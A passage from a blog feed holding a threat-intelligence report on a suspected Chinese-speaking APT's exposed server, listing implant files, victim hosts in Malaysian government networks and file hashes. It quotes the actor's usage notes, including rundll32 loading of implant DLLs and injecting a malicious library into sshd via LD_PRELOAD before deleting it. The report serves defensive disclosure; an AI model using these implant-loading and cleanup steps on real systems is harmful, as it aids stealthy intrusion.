55e530cdfa238f784cf7ecd84b0b7ca4b1eb16f1d4c580ba50bb3424176679c8073d535cff129adc7beffb096999183b88eb32dcb63d3a419fb5d3b5824a98207b81fdb4fadc4c805390cc8a77b1ba059c27dba48ab1ba6ea3cb28600ea5ba8d052256199c8512853e64f4dbac93078b6ffc7813d2030f10b289f691ade51989f3a4a66846d506dfada7c04d70f85e36aed67a7c754fa4a6b6de</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-surge">      <input class="hbe hbe-input-field hbe-input-field-surge" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-surge" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-surge" data-content="Sorry, this post can't be accessed without explicit permission unfortunately.">Sorry, this post can't be accessed without explicit permission unfortunately.</span>      </label>      <svg class="hbe hbe-graphic hbe-graphic-surge" width="300%" height="100%" viewBox="0 0 1200 60" preserveAspectRatio="none">        <path d="M1200,9c0,0-305.005,0-401.001,0C733,9,675.327,4.969,598,4.969C514.994,4.969,449.336,9,400.333,9C299.666,9,0,9,0,9v43c0,0,299.666,0,400.333,0c49.002,0,114.66,3.484,197.667,3.484c77.327,0,135-3.484,200.999-3.484C894.995,52,1200,52,1200,52V9z"></path>      </svg>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">A Russian threat actor made some opsec mistakes. This is a detailed report outlining attribution.</summary>
    
    
    
    
    <category term="Threat Intelligence" scheme="https://blindcyber.gitlab.io/tags/Threat-Intelligence/"/>
    
    <category term="Encrypted" scheme="https://blindcyber.gitlab.io/tags/Encrypted/"/>
    
  </entry>
  
  <entry>
    <title>Malaysian Government Breached By Chinese-speaking APT</title>
    <link href="https://blindcyber.gitlab.io/2021/12/14/Malaysian-Government-Breached-By-Chinese-Threat-Actor/"/>
    <id>https://blindcyber.gitlab.io/2021/12/14/Malaysian-Government-Breached-By-Chinese-Threat-Actor/</id>
    <published>2021-12-14T20:39:07.000Z</published>
    <updated>2026-07-08T17:01:07.094Z</updated>
    
    <content type="html"><![CDATA[<p>Using a custom threat intelligence framework that I built, I identified that there was a small window of time, 6 minutes 32 seconds, in which a threat actor modified their C2 configuration, briefly exposing a directory listing which my tooling archived before the port was promptly closed. The content of this directory indicated that a Chinese-speaking actor breached one of the Malaysian Government’s VSphere instances, indicating a potentially significant compromise of their environment.</p><p>This is a quick writeup on another exposed directory listing that I identified when monitoring infrastructure suspected to be operated by an Advanced Persistent Threat (APT). Based on the available data this activity likely persisted between the dates <code>2021-05-27</code> - <code>2021-09-02</code> using windows and linux implants.</p><p>This host was fingerprinted as an active CobaltStrike Teamserver. At port 8080 the threat actor accidentally exposed a directory listing over HTTP for a short period of time, which my tooling was able to capture.</p><p><code>103.338.225.37:8080</code></p><img src="/images/directory_listing.png" class="[test]" title="Exposed Directory Listing" alt="Exposed Directory Listing"><p>Directory Listing:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">drwxr-xr-x  4 root root     4096 Dec 12 03:11 G1-Beta</span><br><span class="line">drwxr-xr-x  2 root root     4096 Dec 12 03:11 old</span><br><span class="line">-rw-r--r--  1 root root 19665659 Dec 12 03:11 xxx.7z</span><br></pre></td></tr></table></figure><p>Within <code>G1-Beta</code> there are <code>Client</code> and <code>Generator</code> folders containing the following:</p><p>G1-Beta/Client:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">total 24584</span><br><span class="line">-rw-r--r-- 1 root root   15096 Apr 12  2019 api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   15608 Apr 12  2019 api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   17144 Apr 12  2019 api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   17352 Apr 12  2019 api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   13560 Apr 12  2019 api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   11512 Apr 12  2019 api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">drwxr-xr-x 2 root root    4096 Dec 12 03:13 certificate</span><br><span class="line">-rw-r--r-- 1 root root 6320128 May  8  2021 G1.exe</span><br><span class="line">drwxr-xr-x 4 root root    4096 Dec 12 03:13 Hosts</span><br><span class="line">-rw-r--r-- 1 root root 2521600 Sep 23  2020 libcrypto-1_1.dll</span><br><span class="line">-rw-r--r-- 1 root root  530944 Sep 23  2020 libssl-1_1.dll</span><br><span class="line">-rw-r--r-- 1 root root  455328 Oct  4  2013 msvcp120.dll</span><br><span class="line">-rw-r--r-- 1 root root  970912 Oct  4  2013 msvcr120.dll</span><br><span class="line">drwxr-xr-x 2 root root    4096 Dec 12 03:13 platforms</span><br><span class="line">drwxr-xr-x 4 root root    4096 Dec 12 03:13 plugin</span><br><span class="line">-rw-r--r-- 1 root root 4670976 Apr 16  2012 Qt5Core.dll</span><br><span class="line">-rw-r--r-- 1 root root 5011968 May 25  2016 Qt5Gui.dll</span><br><span class="line">-rw-r--r-- 1 root root 4472320 May 25  2016 Qt5Widgets.dll</span><br><span class="line">-rw-r--r-- 1 root root   80112 Nov 20  2018 vcruntime140.dll</span><br></pre></td></tr></table></figure><p>G1-Beta/Generator:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">total 21332</span><br><span class="line">-rw-r--r-- 1 root root 6233088 May  8  2021 Generator.exe</span><br><span class="line">-rw-r--r-- 1 root root  455328 Oct  4  2013 msvcp120.dll</span><br><span class="line">-rw-r--r-- 1 root root  970912 Oct  4  2013 msvcr120.dll</span><br><span class="line">drwxr-xr-x 4 root root    4096 Dec 12 03:13 Output</span><br><span class="line">drwxr-xr-x 2 root root    4096 Dec 12 03:13 platforms</span><br><span class="line">-rw-r--r-- 1 root root 4670976 Apr 16  2012 Qt5Core.dll</span><br><span class="line">-rw-r--r-- 1 root root 5011968 May 25  2016 Qt5Gui.dll</span><br><span class="line">-rw-r--r-- 1 root root 4472320 May 25  2016 Qt5Widgets.dll</span><br><span class="line">-rw-r--r-- 1 root root     459 Feb  4  2021 使用说明.txt</span><br></pre></td></tr></table></figure><p>Within <code>xxx.7z</code> there’s more interesting files.</p><p>Directory listing of <code>xxx.7z</code>:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">total 53712</span><br><span class="line">-rw-r--r-- 1 root root      167 Sep  2 11:58 269aa5960ef1bdc4</span><br><span class="line">-rw-r--r-- 1 root root    15096 Apr 12  2019 api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    15608 Apr 12  2019 api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    17144 Apr 12  2019 api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    17352 Apr 12  2019 api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    13560 Apr 12  2019 api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    11512 Apr 12  2019 api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root     9967 Apr 24  2019 cer.crt</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 certificate</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Client</span><br><span class="line">-rw-r--r-- 1 root root    56832 Dec  2  2020 CmdShell.exe</span><br><span class="line">-rw-r--r-- 1 root root    40960 Dec 18  2020 CmdShell.pln</span><br><span class="line">drwx------ 2 root root     4096 May 24  2021 Custom</span><br><span class="line">drwx------ 2 root root     4096 Sep  2 11:53 Default</span><br><span class="line">-rw-r--r-- 1 root root   142336 Dec  2  2020 DiskFile.exe</span><br><span class="line">-rw-r--r-- 1 root root    68608 Dec 18  2020 DiskFile.pln</span><br><span class="line">-rw-r--r-- 1 root root      198 May 27  2021 fed186c5a12922bc</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 G1-Beta</span><br><span class="line">-rw-r--r-- 1 root root  6320128 May  8  2021 G1.exe</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Generator</span><br><span class="line">-rw-r--r-- 1 root root  6233088 May  8  2021 Generator.exe</span><br><span class="line">drwx------ 2 root root     4096 May 24  2021 gov.my</span><br><span class="line">-rw-r--r-- 1 root root   133472 May 24  2021 host_linux_x64.so</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Hosts</span><br><span class="line">-rw-r--r-- 1 root root   234721 May 27  2021 host_win_x64.exe</span><br><span class="line">-rw-r--r-- 1 root root   194846 May 27  2021 host_win_x86.exe</span><br><span class="line">-rw-r--r-- 1 root root   129528 May 24  2021 kernle</span><br><span class="line">-rw-r--r-- 1 root root     1679 Apr 24  2019 key.pem</span><br><span class="line">-rw-r--r-- 1 root root  2521600 Sep 23  2020 libcrypto-1_1.dll</span><br><span class="line">-rw-r--r-- 1 root root   530944 Sep 23  2020 libssl-1_1.dll</span><br><span class="line">drwx------ 2 root root     4096 Dec 11 15:42 Linux</span><br><span class="line">-rw-r--r-- 1 root root   455328 Oct  4  2013 msvcp120.dll</span><br><span class="line">-rw-r--r-- 1 root root   970912 Oct  4  2013 msvcr120.dll</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Output</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 platforms</span><br><span class="line">-rw-r--r-- 1 root root    73498 Dec 18  2020 plnuser.pln</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 plugin</span><br><span class="line">-rw-r--r-- 1 root root  4670976 Apr 16  2012 Qt5Core.dll</span><br><span class="line">-rw-r--r-- 1 root root  5011968 May 25  2016 Qt5Gui.dll</span><br><span class="line">-rw-r--r-- 1 root root  4472320 May 25  2016 Qt5Widgets.dll</span><br><span class="line">-rw-r--r-- 1 root root  1014168 Feb 27  2017 qwindows.dll</span><br><span class="line">-rw-r--r-- 1 root root   463872 Dec  2  2020 Scheduler.exe</span><br><span class="line">-rw-r--r-- 1 root root    80896 Dec 18  2020 Scheduler.pln</span><br><span class="line">-rw-r--r-- 1 root root   102400 Dec  2  2020 Services.exe</span><br><span class="line">-rw-r--r-- 1 root root   119296 Dec 18  2020 Services.pln</span><br><span class="line">-rw-r--r-- 1 root root   231424 Sep 14  2020 SocksMap.exe</span><br><span class="line">-rw-r--r-- 1 root root    55296 Dec 18  2020 SocksMap.pln</span><br><span class="line">-rw-r--r-- 1 root root   186368 Dec  3  2020 S-Tools.exe</span><br><span class="line">-rw-r--r-- 1 root root    41984 Dec 18  2020 S-Tools.pln</span><br><span class="line">-rw-r--r-- 1 root root   120320 Dec  2  2020 SyncShell.exe</span><br><span class="line">-rw-r--r-- 1 root root    41472 Feb  3  2021 SyncShell.pln</span><br><span class="line">-rw-r--r-- 1 root root    81920 Dec  2  2020 TaskMgr.exe</span><br><span class="line">-rw-r--r-- 1 root root    59904 Dec 18  2020 TaskMgr.pln</span><br><span class="line">-rw-r--r-- 1 root root   135680 Jun 12  2018 Terminal.exe</span><br><span class="line">-rw-r--r-- 1 root root        1 Dec 18  2020 Terminal.pln</span><br><span class="line">-rw-r--r-- 1 root root    80112 Nov 20  2018 vcruntime140.dll</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Windows</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 x64</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 x86</span><br><span class="line">-rw-r--r-- 1 root root      459 Feb  4  2021 使用说明.txt</span><br></pre></td></tr></table></figure><p>One file within the archive is named <code>使用说明.txt</code> , which translate from Chinese as <code>Instructions for use.txt</code> so we are likely dealing with a Chinese threat actor.</p><p>使用说明.txt:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Window：</span><br><span class="line">1：exe直接运行。</span><br><span class="line">2：dll运行方式：</span><br><span class="line">rundll32 host_win_x86.dll,elapsed</span><br><span class="line">rundll32 host_win_x64.dll,elapsed</span><br><span class="line">3：bin为shellcode，自定义加载。</span><br><span class="line"></span><br><span class="line">Linux ：</span><br><span class="line">1:exe 直接运行:</span><br><span class="line">      chmod 755 host_linux_x64</span><br><span class="line">     ./host_linux_x64</span><br><span class="line">2:so 支持 ldd 加载。</span><br><span class="line">LD_PRELOAD=./host_linux_x64.so  /usr/sbin/sshd</span><br><span class="line">              rm -fr  /host_linux_x64.so</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">注：Windows/Linux都支持低权限执行，比如webshell等。</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>English translation:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Window:</span><br><span class="line">1: exe runs directly.</span><br><span class="line">2: dll operation mode:</span><br><span class="line">rundll32 host_win_x86.dll,elapsed</span><br><span class="line">rundll32 host_win_x64.dll,elapsed</span><br><span class="line">3: bin is shellcode, customized loading.</span><br><span class="line"></span><br><span class="line">Linux:</span><br><span class="line">1: exe run directly:</span><br><span class="line">       chmod 755 host_linux_x64</span><br><span class="line">      ./host_linux_x64</span><br><span class="line">2:so supports ldd loading.</span><br><span class="line">LD_PRELOAD=./host_linux_x64.so /usr/sbin/sshd</span><br><span class="line">               rm -fr /host_linux_x64.so</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Note: Both Windows/Linux support low-privilege execution, such as webshell.</span><br></pre></td></tr></table></figure><p>Another file within <code>xxx.7z</code>, named <code>fed186c5a12922bc</code>, contains the output of an attacker tool running on a victim host, shown below.</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">10.29.113.67||(none)|Linux|203.217.176.244|10.29.113.67|TCP|vsphere-ui|#1-photon SMP Wed Oct 17 12:15:18 UTC 2018 - 4.4.161-1.ph1|130:07:36|2021-05-27 22:25:02|2021-05-27 22:25:56|fed186c5a12922bc</span><br></pre></td></tr></table></figure><p>The threat actor has targeted a vSphere instance at the external IP 203.217.176.244</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Host: 203.217.176.244</span><br><span class="line">ASN: 17564</span><br><span class="line">ISP: GITN M Sdn. Bhd.</span><br><span class="line">Organization: GITN M Sdn. Bhd.</span><br><span class="line">Services: None detected</span><br><span class="line">Type: Corporate</span><br><span class="line">Assignment: Likely Static IP</span><br><span class="line">Continent: Asia</span><br><span class="line">Country: Malaysia</span><br><span class="line">State/Region: Putrajaya</span><br><span class="line">City: Putrajaya</span><br></pre></td></tr></table></figure><p>Another file within <code>xxx.7z</code>, named <code>269aa5960ef1bdc4</code>, contains another victim host:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SVR069||intan.dir|Windows|202.60.56.221|10.1.3.31|TCP|SYSTEM|Microsoft Windows Server 2019 Standard|13:13:40|2021-09-02 23:57:30|2021-09-02 23:58:47|269aa5960ef1bdc4</span><br></pre></td></tr></table></figure><p>The threat actor has targeted a Windows Server named <code>SVR069</code> at the external IP 202.60.56.221</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Host: 202.60.56.221</span><br><span class="line">ASN: 38044</span><br><span class="line">ISP: Gitn-network</span><br><span class="line">Organization: Gitn-network</span><br><span class="line">Services: None detected</span><br><span class="line">Type: Broadband</span><br><span class="line">Assignment: Likely Static IP</span><br><span class="line">Continent: Asia</span><br><span class="line">Country: Malaysia</span><br><span class="line">State/Region: Kuala Lumpur</span><br><span class="line">City: Kuala Lumpur</span><br></pre></td></tr></table></figure><p>Another folder within the archive is empty, with the name <code>gov.my</code>.<br>When googling the ISP, we get the following result:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GITN is commissioned by the Government to turn the vision of an e-Government into reality. GITN Sdn. Berhad (GSB) is the official network provider for the e-Government and we have a comprehensive range of infrastructure, hardware and software aimed to help enhance, improve and integrat</span><br><span class="line">e your organization into the e-Government</span><br></pre></td></tr></table></figure><p>This threat actor was targeting the Malaysian government.<br>The fact that the victim host was vSphere indicates that this threat actor has gained significant access into the environment.</p><p>Hashes:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./xxx/key.pem</span><br><span class="line">405ee1521bc97fc5d2c45f36f462f678ce0daef2117c40c5923c54b0f3f32685  ./xxx/CmdShell.exe</span><br><span class="line">2452671492eba95a9fa8dc08d87c54d64b4142f04301209dbaa8447808b0e7b0  ./xxx/TaskMgr.pln</span><br><span class="line">7317d236a1d7b132b80b09284a5c31b61371c66d6eee4cbe4597772223c040c9  ./xxx/S-Tools.pln</span><br><span class="line">9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f  ./xxx/api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">9bfa883a0a53ed1f3ef5330925f9a8b460569335150e46fa4b15b9913a9594c2  ./xxx/SyncShell.exe</span><br><span class="line">b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51  ./xxx/host_win_x64.exe</span><br><span class="line">0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769  ./xxx/kernle</span><br><span class="line">c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39  ./xxx/api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e  ./xxx/269aa5960ef1bdc4</span><br><span class="line">f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./xxx/Generator.exe</span><br><span class="line">b9246fd06b64894d08fbc1d504ea17017da836f070fbd441625c446ab28c7d80  ./xxx/Scheduler.pln</span><br><span class="line">87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./xxx/msvcp120.dll</span><br><span class="line">115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee  ./xxx/xxx.7z</span><br><span class="line">b805f965d1a73d34b5b6c694520b2316884fe44c1c2849ed89565e251d50f658  ./xxx/CmdShell.pln</span><br><span class="line">85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./xxx/Qt5Widgets.dll</span><br><span class="line">855788aa837927ba05b0c352637b49de5b4b22ed05447e8c10a103120c1a4537  ./xxx/DiskFile.pln</span><br><span class="line">59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./xxx/Qt5Core.dll</span><br><span class="line">0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04  ./xxx/SocksMap.exe</span><br><span class="line">2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b  ./xxx/Terminal.exe</span><br><span class="line">c6145356da138655e7b1f3a81273b5298c0c9c059afdda230e0742388db8a4f8  ./xxx/Scheduler.exe</span><br><span class="line">0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./xxx/qwindows.dll</span><br><span class="line">795c8e66f347cb030bef6d5b2076197c2da6acd24b654e40f2374d66553ab4ef  ./xxx/SyncShell.pln</span><br><span class="line">3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d  ./xxx/host_linux_x64.so</span><br><span class="line">804f94010467936ddfeb18a9f53a4750ddb4857e4a611e1d99c24928f7390f8e  ./xxx/S-Tools.exe</span><br><span class="line">ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5  ./xxx/vcruntime140.dll</span><br><span class="line">9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f  ./xxx/api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7  ./xxx/libcrypto-1_1.dll</span><br><span class="line">372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f  ./xxx/host_win_x86.exe</span><br><span class="line">b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./xxx/G1.exe</span><br><span class="line">f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5  ./xxx/api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">a8bf9a04af5d74e783d78b8dec6d47f7943c3c06e8c544856f075e78a1d66d2e  ./xxx/plnuser.pln</span><br><span class="line">1460f52fca965a5ec0aa186116909963ddd7a7e1bc78dcea28759d0b66e9bcfc  ./xxx/fed186c5a12922bc</span><br><span class="line">794353b72b77f934507d0501024e89cdebc97dc40c571769bafaf794fbfaa8a4  ./xxx/SocksMap.pln</span><br><span class="line">6eb4e6d55d329c9d0c7ffc6291969ab5b9605e48efc97455d131300435184af4  ./xxx/TaskMgr.exe</span><br><span class="line">b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf  ./xxx/Terminal.pln</span><br><span class="line">23f27409df8da51b7a61781bccdc0f011decbf57833151436d3e6c78f8524b66  ./xxx/Services.pln</span><br><span class="line">f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272  ./xxx/使用说明.txt</span><br><span class="line">8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82  ./xxx/libssl-1_1.dll</span><br><span class="line">a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed  ./xxx/cer.crt</span><br><span class="line">8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5  ./xxx/api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298  ./xxx/api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">ad551e7b9e91a5f79b269baf438dcfde7dd8014af1016ad2358ea3505714cb88  ./xxx/DiskFile.exe</span><br><span class="line">86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./xxx/msvcr120.dll</span><br><span class="line">348472da6ef03742089181b62364096131bc3b01a009d613b3708ce04c807206  ./xxx/Services.exe</span><br><span class="line">2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./xxx/Qt5Gui.dll</span><br><span class="line">115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee  ./xxx.7z</span><br><span class="line">f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./old/Generator.exe</span><br><span class="line">b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./old/G1.exe</span><br><span class="line">f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./G1-Beta/Generator/Generator.exe</span><br><span class="line">87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./G1-Beta/Generator/msvcp120.dll</span><br><span class="line">85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./G1-Beta/Generator/Qt5Widgets.dll</span><br><span class="line">59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./G1-Beta/Generator/Qt5Core.dll</span><br><span class="line">0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./G1-Beta/Generator/platforms/qwindows.dll</span><br><span class="line">b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51  ./G1-Beta/Generator/Output/Windows/host_win_x64.exe</span><br><span class="line">372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f  ./G1-Beta/Generator/Output/Windows/host_win_x86.exe</span><br><span class="line">0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769  ./G1-Beta/Generator/Output/Linux/kernle</span><br><span class="line">3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d  ./G1-Beta/Generator/Output/Linux/host_linux_x64.so</span><br><span class="line">f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272  ./G1-Beta/Generator/使用说明.txt</span><br><span class="line">86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./G1-Beta/Generator/msvcr120.dll</span><br><span class="line">2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./G1-Beta/Generator/Qt5Gui.dll</span><br><span class="line">9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f  ./G1-Beta/Client/api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39  ./G1-Beta/Client/api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./G1-Beta/Client/msvcp120.dll</span><br><span class="line">85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./G1-Beta/Client/Qt5Widgets.dll</span><br><span class="line">59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./G1-Beta/Client/Qt5Core.dll</span><br><span class="line">0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./G1-Beta/Client/platforms/qwindows.dll</span><br><span class="line">ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5  ./G1-Beta/Client/vcruntime140.dll</span><br><span class="line">9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f  ./G1-Beta/Client/api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7  ./G1-Beta/Client/libcrypto-1_1.dll</span><br><span class="line">67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./G1-Beta/Client/certificate/key.pem</span><br><span class="line">a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed  ./G1-Beta/Client/certificate/cer.crt</span><br><span class="line">b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./G1-Beta/Client/G1.exe</span><br><span class="line">f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5  ./G1-Beta/Client/api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">26e5bfe4b0686167e3e4e0aac40cbae03515171d375f91ea563c9c044e9c5cc7  ./G1-Beta/Client/plugin/Linux/DiskFile.pln</span><br><span class="line">0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04  ./G1-Beta/Client/plugin/Linux/SocksMap.exe</span><br><span class="line">2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b  ./G1-Beta/Client/plugin/Linux/Terminal.exe</span><br><span class="line">478508483cbb05defd7dcdac355dadf06282a6f2e14342cccba99e840202f943  ./G1-Beta/Client/plugin/Linux/SocksMap.pln</span><br><span class="line">b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf  ./G1-Beta/Client/plugin/Linux/Terminal.pln</span><br><span class="line">c2a0b250573feae45ed9d406d2bbddef8b1735a60c456b9cc10fefed46b71748  ./G1-Beta/Client/plugin/Linux/DiskFile.exe</span><br><span class="line">90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e  ./G1-Beta/Client/Hosts/Default/269aa5960ef1bdc4</span><br><span class="line">8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82  ./G1-Beta/Client/libssl-1_1.dll</span><br><span class="line">8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5  ./G1-Beta/Client/api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298  ./G1-Beta/Client/api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./G1-Beta/Client/msvcr120.dll</span><br><span class="line">2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./G1-Beta/Client/Qt5Gui.dll</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
